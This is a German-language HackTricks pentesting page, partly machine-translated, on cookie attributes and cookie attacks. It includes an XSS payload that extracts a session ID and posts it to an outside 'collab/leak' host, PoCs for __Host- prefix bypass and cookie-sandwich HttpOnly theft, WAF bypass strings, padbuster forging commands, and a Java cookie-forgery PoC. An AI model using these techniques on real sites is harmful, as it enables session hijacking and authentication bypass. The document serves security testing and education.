Cookies Hacking

Reading time: 21 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cookies haben mehrere Attribute, die ihr Verhalten im Browser des Benutzers steuern. Hier ist eine Übersicht dieser Attribute in eher passiver Form:

Expires und Max-Age

Das Ablaufdatum eines Cookies wird durch das Expires-Attribut bestimmt. Umgekehrt definiert das Max-age-Attribut die Zeit in Sekunden, bis ein Cookie gelöscht wird. Verwenden Sie Max-age, da es modernere Praktiken widerspiegelt.

Domain

Die Hosts, die ein Cookie empfangen sollen, werden durch das Domain-Attribut festgelegt. Standardmäßig ist dies auf den Host gesetzt, der das Cookie ausgegeben hat, ohne dessen Subdomains einzuschließen. Wenn jedoch das Domain-Attribut explizit gesetzt wird, umfasst es auch Subdomains. Dadurch ist die Festlegung des Domain-Attributs weniger restriktiv und nützlich, wenn Cookie-Sharing zwischen Subdomains erforderlich ist. Zum Beispiel macht Domain=mozilla.org Cookies auf Subdomains wie developer.mozilla.org zugänglich.

Path

Das Path-Attribut gibt einen spezifischen URL-Pfad an, der in der angeforderten URL vorhanden sein muss, damit der Cookie-Header gesendet wird. Dieses Attribut behandelt das Zeichen / als Verzeichnis-Trenner, wodurch auch Übereinstimmungen in Unterverzeichnissen möglich sind.

Reihenfolgeregeln

Wenn zwei Cookies denselben Namen haben, basiert die Auswahl des zu sendenden Cookies auf:

  • Dem Cookie, der mit dem längsten Path in der angeforderten URL übereinstimmt.
  • Dem zuletzt gesetzten Cookie, wenn die Pfade identisch sind.

SameSite

  • Das SameSite-Attribut legt fest, ob Cookies bei Requests gesendet werden, die von Drittanbieter-Domains stammen. Es bietet drei Einstellungen:
  • Strict: Verhindert, dass das Cookie bei Drittanbieter-Requests gesendet wird.
  • Lax: Erlaubt das Senden des Cookies bei GET-Requests, die von Drittanbieter-Websites initiiert wurden.
  • None: Erlaubt das Senden des Cookies von jeder Drittanbieter-Domain.

Beim Konfigurieren von Cookies hilft das Verständnis dieser Attribute, um sicherzustellen, dass sie in verschiedenen Szenarien wie erwartet funktionieren.

Request TypeExample CodeCookies Sent When
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
Ein Cookie mit dem Attribut SameSite wird CSRF attacks mindern, wenn eine eingeloggte Sitzung erforderlich ist.

*Beachten Sie, dass ab Chrome80 (feb/2019) das Standardverhalten eines Cookies ohne SameSite-Attribut lax sein wird (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Beachten Sie, dass vorübergehend, nach Anwendung dieser Änderung, die cookies without a SameSite policy in Chrome während der ersten 2 Minuten als None behandelt werden und danach als Lax für top-level cross-site POST requests.

HttpOnly

Dies verhindert, dass der Client auf das Cookie zugreift (z. B. via Javascript: document.cookie)

Bypasses

  • Wenn die Seite die Cookies als Antwort einer Anfrage sendet (z. B. auf einer PHPinfo-Seite), ist es möglich, XSS auszunutzen, um eine Anfrage an diese Seite zu senden und die Cookies aus der Antwort zu stehlen (siehe ein Beispiel in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Dies kann mit TRACE-HTTP-Requests umgangen werden, da die Antwort des Servers (falls diese HTTP-Methode verfügbar ist) die gesendeten Cookies reflektiert. Diese Technik heißt Cross-Site Tracking.
  • Moderne Browser verhindern diese Technik, indem sie das Senden von TRACE-Requests aus JS nicht erlauben. Allerdings wurden in spezifischer Software Umgehungen gefunden, z. B. durch Senden von \r\nTRACE anstelle von TRACE an IE6.0 SP2.
  • Eine weitere Möglichkeit ist die Ausnutzung von zero/day vulnerabilities in den Browsern.
  • Es ist möglich, HttpOnly-Cookies zu überschreiben, indem man eine Cookie Jar overflow attack durchführt:

Cookie Jar Overflow

  • Es ist möglich, einen Cookie Smuggling attack zu verwenden, um diese Cookies zu exfiltrieren
  • Wenn ein serverseitiger Endpoint die rohe Session-ID in der HTTP-Antwort wiedergibt (z. B. in HTML-Kommentaren oder einem Debug-Block), kann man HttpOnly umgehen, indem man ein XSS-Gadget verwendet, um diesen Endpoint abzurufen, das Secret per regex auszulesen und zu exfiltrieren. Beispiel XSS payload pattern:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Die Anfrage sendet das Cookie nur, wenn die HTTP-Anfrage über einen sicheren Kanal übertragen wird (typischerweise HTTPS).

Cookies, die mit __Secure- beginnen, müssen zusammen mit dem secure-Flag gesetzt werden und von Seiten stammen, die durch HTTPS gesichert sind.

Bei Cookies mit dem Präfix __Host- müssen mehrere Bedingungen erfüllt sein:

  • Sie müssen mit dem secure-Flag gesetzt werden.
  • Sie müssen von einer durch HTTPS gesicherten Seite stammen.
  • Es ist ihnen untersagt, ein Domain-Attribut anzugeben, wodurch ihre Übertragung an subdomains verhindert wird.
  • Der Pfad für diese Cookies muss auf / gesetzt sein.

Es ist wichtig zu beachten, dass Cookies mit dem Präfix __Host- nicht an Superdomains oder subdomains gesendet werden dürfen. Diese Einschränkung hilft, Anwendungscookies zu isolieren. Daher kann die Verwendung des __Host--Präfixes für alle Anwendungscookies als gute Praxis zur Erhöhung von Sicherheit und Isolation angesehen werden.

Überschreiben von Cookies

Eine der Schutzmaßnahmen für mit __Host- prefixierte Cookies besteht darin, zu verhindern, dass sie von subdomains überschrieben werden. Dies verhindert beispielsweise Cookie Tossing attacks. In dem Vortrag Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) wird gezeigt, dass es möglich war, __HOST- prefixed cookies von einer subdomain zu setzen, indem der Parser ausgetrickst wurde, z. B. durch Hinzufügen von "=" am Anfang oder am Anfang und Ende...:

Oder in PHP war es möglich, andere Zeichen am Anfang des Cookie-Namens hinzuzufügen, die durch Unterstrich-Zeichen ersetzt würden, wodurch __HOST- Cookies überschrieben werden konnten:

Ausnutzen von Diskrepanzen zwischen browser- und server-Parsing, indem ein Unicode-Whitespace-Codepunkt dem Cookie-Namen vorangestellt wird. Der browser wird den Namen nicht als tatsächlich mit __Host-/__Secure- beginnend ansehen, sodass das Setzen von einer subdomain erlaubt wird. Wenn das backend führende Unicode-Whitespace-Zeichen in Cookie-Keys trimmt/normalisiert, sieht es den geschützten Namen und kann das hochprivilegierte Cookie überschreiben.

  • PoC from a subdomain that can set parent-domain cookies:
js
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

  • Typisches Backend-Verhalten, das die Schwachstelle ermöglicht:

  • Frameworks, die cookie keys trimmen/normalisieren. In Django entfernt Pythons str.strip() eine große Bandbreite an Unicode-Whitespace-Codepoints, wodurch der Name zu __Host-name normalisiert wird.

  • Üblicherweise getrimmte Codepunkte umfassen: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

  • Viele Frameworks behandeln doppelte Cookie-Namen nach dem Prinzip „last wins“, sodass der vom Angreifer kontrollierte normalisierte Cookie-Wert den legitimen überschreibt.

  • Browser-Unterschiede spielen eine Rolle:

  • Safari blockiert mehrbyteige Unicode-Whitespace-Zeichen in Cookie-Namen (z. B. lehnt U+2000 ab), erlaubt jedoch weiterhin einbyteige U+0085 und U+00A0, die viele Backends trimmen. Teste in verschiedenen Browsern.

  • Auswirkung: Ermöglicht das Überschreiben von __Host-/__Secure- Cookies aus weniger vertrauenswürdigen Kontexten (Subdomains), was zu XSS (bei Reflektion), Überschreiben des CSRF-Tokens und session fixation führen kann.

  • Beispiel: On-the-wire vs Server-Ansicht (U+2000 im Namen vorhanden):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Viele Backends splitten/parsen und trimmen dann, wodurch das normalisierte __Host-name den Wert des Angreifers annimmt.

Einige Java-Stacks (z. B. Tomcat/Jetty-Style) aktivieren weiterhin das Legacy-RFC-2109/2965-Parsing, wenn der Cookie-Header mit $Version=1 beginnt. Dies kann dazu führen, dass der Server einen einzelnen Cookie-String als mehrere logische Cookies neu interpretiert und einen gefälschten __Host- Eintrag akzeptiert, der ursprünglich von einer Subdomain oder sogar über eine unsichere Origin gesetzt wurde.

  • PoC zum Erzwingen des Legacy-Parsing:
js
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

  • Warum es funktioniert:

  • Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of __Host-/__Secure- prefix guarantees.

  • Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.

Duplicate-name last-wins overwrite primitive

When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two __Host-* names, the attacker-controlled one will typically win.

Detection and tooling

Use Burp Suite to probe for these conditions:

  • Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
  • Send $Version=1 first in the Cookie header and check if the backend performs legacy splitting/normalization.
  • Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
  • Burp Custom Action to automate this: CookiePrefixBypass.bambda

Tipp: Diese Techniken nutzen RFC 6265s octet-vs-string-Lücke aus: Browser senden Bytes; Server dekodieren und können normalisieren/trimmen. Diskrepanzen in Dekodierung und Normalisierung sind der Kern des Bypasses.

Wenn ein benutzerdefinierter Cookie sensible Daten enthält, überprüfe ihn (besonders wenn du an einem CTF teilnimmst), da er verwundbar sein könnte.

Cookies dekodieren und manipulieren

Sensible Daten, die in Cookies eingebettet sind, sollten immer geprüft werden. In Base64 oder ähnlichen Formaten kodierte Cookies können oft dekodiert werden. Diese Schwachstelle ermöglicht es Angreifern, den Inhalt des Cookies zu verändern und sich als andere Benutzer auszugeben, indem sie die modifizierten Daten wieder in das Cookie kodieren.

Session Hijacking

Bei diesem Angriff wird das Cookie eines Nutzers gestohlen, um unautorisierten Zugriff auf dessen Konto innerhalb einer Anwendung zu erlangen. Durch die Nutzung des gestohlenen Cookies kann ein Angreifer sich als der legitime Nutzer ausgeben.

Session Fixation

In diesem Szenario bringt ein Angreifer ein Opfer dazu, ein bestimmtes Cookie beim Einloggen zu verwenden. Wenn die Anwendung beim Login kein neues Cookie vergibt, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer imitieren. Diese Technik beruht darauf, dass das Opfer sich mit einem vom Angreifer bereitgestellten Cookie einloggt.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Hier überzeugt der Angreifer das Opfer, das Session-Cookie des Angreifers zu benutzen. Das Opfer, das glaubt, in seinem eigenen Account eingeloggt zu sein, führt unabsichtlich Aktionen im Kontext des Accounts des Angreifers aus.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.

Cross-Site Request Forgery (CSRF)

Dieser Angriff zwingt einen eingeloggten Nutzer dazu, unerwünschte Aktionen auf einer Webanwendung auszuführen, in der er gerade authentifiziert ist. Angreifer können Cookies ausnutzen, die automatisch mit jeder Anfrage an die verwundbare Seite gesendet werden.

Leere Cookies

(Weitere Details in der original research) Browser erlauben das Erstellen von Cookies ohne Namen, was durch JavaScript wie folgt demonstriert werden kann:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Das Ergebnis im gesendeten cookie header ist a=v1; test value; b=v2;. Interessanterweise ermöglicht dies die Manipulation von cookies, wenn ein cookie mit leerem Namen gesetzt wird, wodurch andere cookies möglicherweise kontrolliert werden können, indem das leere cookie auf einen bestimmten Wert gesetzt wird:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Dies führt dazu, dass der Browser einen cookie header sendet, der von jedem Webserver als cookie mit dem Namen a und dem Wert b interpretiert wird.

Chrome-Fehler: Problem mit Unicode-Surrogat-Codepunkten

In Chrome führt das dazu, dass wenn ein Unicode-Surrogat-Codepunkt Teil eines set cookie ist, document.cookie beschädigt wird und anschließend einen leeren String zurückgibt:

js
document.cookie = "\ud800=meep"

Dies führt dazu, dass document.cookie einen leeren String ausgibt, was auf eine dauerhafte Korruption hinweist.

(Check further details in theoriginal research) Mehrere Webserver, darunter solche für Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), verarbeiten Cookie-Strings aufgrund veralteter RFC2965-Unterstützung falsch. Sie lesen einen in doppelte Anführungszeichen gesetzten Cookie-Wert als einen einzigen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) Die fehlerhafte Verarbeitung von Cookies durch Server, insbesondere Undertow, Zope und solche, die Pythons http.cookie.SimpleCookie und http.cookie.BaseCookie verwenden, schafft Möglichkeiten für Cookie-Injection-Angriffe. Diese Server trennen den Beginn neuer Cookies nicht korrekt ab, wodurch Angreifer Cookies fälschen können:

  • Undertow erwartet ein neues Cookie unmittelbar nach einem in Anführungszeichen stehenden Wert, ohne Semikolon.
  • Zope sucht nach einem Komma, um mit dem Parsen des nächsten Cookies zu beginnen.
  • Pythons Cookie-Klassen beginnen mit dem Parsen bei einem Leerzeichen.

Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basierter CSRF-Schutz beruhen, da sie Angreifern erlaubt, gefälschte CSRF-token-Cookies einzuschleusen und so Sicherheitsmaßnahmen zu umgehen. Das Problem wird durch Pythons Umgang mit doppelten Cookie-Namen verschärft, bei dem das letzte Vorkommen frühere überschreibt. Es betrifft auch __Secure- und __Host- Cookies in unsicheren Kontexten und kann zu Autorisierungs-Bypässen führen, wenn Cookies an Back-End-Server weitergegeben werden, die für Spoofing anfällig sind.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

  • Finde eine Stelle, an der ein scheinbar nutzloses cookie is refected in the response
  • Create a cookie called $Version mit dem Wert 1 (du kannst das in einem XSS attack von JS tun) und mit einem spezifischeren path, sodass es die Anfangsposition erhält (einige Frameworks wie python benötigen diesen Schritt nicht)
  • Create the cookie that is reflected mit einem Wert, der ein open double quotes hinterlässt, und mit einem spezifischen path, sodass es in der cookie db nach dem vorherigen ($Version) positioniert wird
  • Dann folgt das legitime cookie als Nächstes in der Reihenfolge
  • Create a dummy cookie that closes the double quotse innerhalb seines Werts

Auf diese Weise wird das victim cookie in die neue cookie version 1 eingeschlossen und wird jedes Mal reflektiert, wenn es reflektiert wird. z. B. aus dem Beitrag:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Siehe den vorherigen Abschnitt.

Bypassing value analysis with quoted-string encoding

Dieses Parsing entfernt Escape-Zeichen in den Cookie-Werten, sodass "\a" zu "a" wird. Das kann nützlich sein, um WAFS zu umgehen, z. B.:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

In RFC2109 wird angegeben, dass ein Komma als Trenner zwischen Cookie-Werten verwendet werden kann. Außerdem ist es möglich, Leerzeichen und Tabs vor und nach dem Gleichheitszeichen hinzuzufügen. Daher erzeugt ein Cookie wie $Version=1; foo=bar, abc = qux nicht das Cookie "foo":"bar, admin = qux", sondern die Cookies foo":"bar" und "admin":"qux". Beachte, wie zwei Cookies erzeugt werden und dass bei admin das Leerzeichen vor und nach dem Gleichheitszeichen entfernt wurde.

Schließlich fügen verschiedene backdoors unterschiedliche Cookies, die in unterschiedlichen Cookie-Headern übergeben wurden, zu einem String zusammen, wie in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Was erlauben könnte, einen WAF zu bypassen, wie in diesem Beispiel:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Zusätzliche Prüfungen für besonders anfällige Cookies

Grundlegende Checks

  • Der cookie ist bei jedem login gleich.
  • Log out und versuche, denselben cookie zu verwenden.
  • Versuche, mit 2 Geräten (oder Browsern) zum selben Account zu login und dabei denselben cookie zu verwenden.
  • Prüfe, ob der cookie Informationen enthält, und versuche, ihn zu verändern.
  • Versuche, mehrere Accounts mit fast demselben username zu erstellen und prüfe, ob du Ähnlichkeiten erkennen kannst.
  • Prüfe die "remember me" Option, falls sie existiert, um zu sehen, wie sie funktioniert. Falls sie existiert und verwundbar sein könnte, verwende immer den cookie von remember me ohne andere Cookies.
  • Prüfe, ob der vorherige cookie noch funktioniert, nachdem du das Passwort geändert hast.

Wenn der cookie beim login gleich bleibt (oder fast gleich), bedeutet das wahrscheinlich, dass der cookie mit einem Feld deines Accounts zusammenhängt (wahrscheinlich dem username). Dann kannst du:

  • Versuche, viele accounts mit sehr ähnlichen usernames zu erstellen und versuche zu erraten, wie der Algorithmus funktioniert.
  • Versuche, bruteforce the username. Wenn der cookie nur als Authentifizierungsmethode für deinen username gespeichert wird, kannst du ein Account mit dem username "Bmin" erstellen und bruteforce jeden einzelnen bit deines cookie, weil einer der Cookies, die du ausprobieren wirst, derjenige ist, der "admin" gehört.
  • Versuche Padding Oracle (du kannst den Inhalt des cookie entschlüsseln). Verwende padbuster.

Padding Oracle - Padbuster examples

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster wird mehrere Versuche durchführen und dich fragen, welche Bedingung die Fehlerbedingung ist (diejenige, die nicht gültig ist).

Anschließend wird es mit decrypting the cookie beginnen (das kann mehrere Minuten dauern)

Wenn der Angriff erfolgreich durchgeführt wurde, kannst du versuchen, eine Zeichenkette deiner Wahl zu encrypt. Zum Beispiel, wenn du encrypt user=administrator möchtest

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Diese Ausführung gibt dir das Cookie korrekt verschlüsselt und kodiert mit dem String user=administrator darin.

CBC-MAC

Ein Cookie könnte einen Wert haben, der mit CBC signiert wird. Dann ist die Integrität des Werts die Signatur, die durch CBC über denselben Wert erzeugt wird. Da häufig empfohlen wird, als IV einen Nullvektor zu verwenden, kann diese Art der Integritätsprüfung verwundbar sein.

The attack

  1. Hole die Signatur des Benutzernamens administ = t
  2. Hole die Signatur des Benutzernamens rator\x00\x00\x00 XOR t = t'
  3. Setze im Cookie den Wert administrator+t' (t' wird eine gültige Signatur von (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 sein)

ECB

Wenn das Cookie mit ECB verschlüsselt ist, kann es verwundbar sein.
Wenn du dich einloggst, muss das erhaltene Cookie immer gleich sein.

How to detect and attack:

Erstelle 2 Nutzer mit fast identischen Daten (username, password, email, etc.) und versuche, ein Muster im ausgegebenen Cookie zu entdecken

Erstelle z. B. einen Nutzer namens "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und prüfe, ob sich ein Muster im Cookie zeigt (da ECB mit demselben Schlüssel jeden Block gleich verschlüsselt, könnten dieselben verschlüsselten Bytes erscheinen, falls der username verschlüsselt wird).

Es sollte ein Muster geben (mit der Größe eines verwendeten Blocks). Wenn du also weißt, wie eine Reihe von "a" verschlüsselt wird, kannst du einen username erstellen: "a"*(size of the block)+"admin". Dann kannst du das verschlüsselte Muster eines Blocks von "a" aus dem Cookie entfernen. Du hast dann das Cookie für den username "admin".

Einige Anwendungen erzeugen authentication cookies, indem sie nur einen vorhersehbaren Wert (z. B. die numerische user ID) unter einem globalen, fest im Code hinterlegten symmetrischen Schlüssel verschlüsseln und anschließend den Ciphertext (hex/base64) kodieren. Wenn der Schlüssel pro Produkt (oder Installation) statisch ist, kann jeder offline Cookies für beliebige Benutzer fälschen und die Authentifizierung umgehen.

How to test/forge

  • Identifiziere das/die Cookies, die die Authentifizierung steuern, z. B. COOKIEID und ADMINCOOKIEID.
  • Bestimme Cipher/Encoding. In einem realen Fall verwendete die App IDEA mit einem konstanten 16-Byte-Schlüssel und gab den Ciphertext als hex zurück.
  • Verifiziere, indem du deine eigene user ID verschlüsselst und mit dem ausgegebenen Cookie vergleichst. Wenn es übereinstimmt, kannst du Cookies für beliebige Ziel-IDs erstellen (1 entspricht oft dem ersten Admin).
  • Setze den gefälschten Wert direkt als Cookie und rufe die Seite auf; keine Zugangsdaten werden benötigt.
Minimaler Java PoC (IDEA + hex) in freier Wildbahn
java
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}
Kontext (z. B., server-side session with random ID, or add anti-replay properties).

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks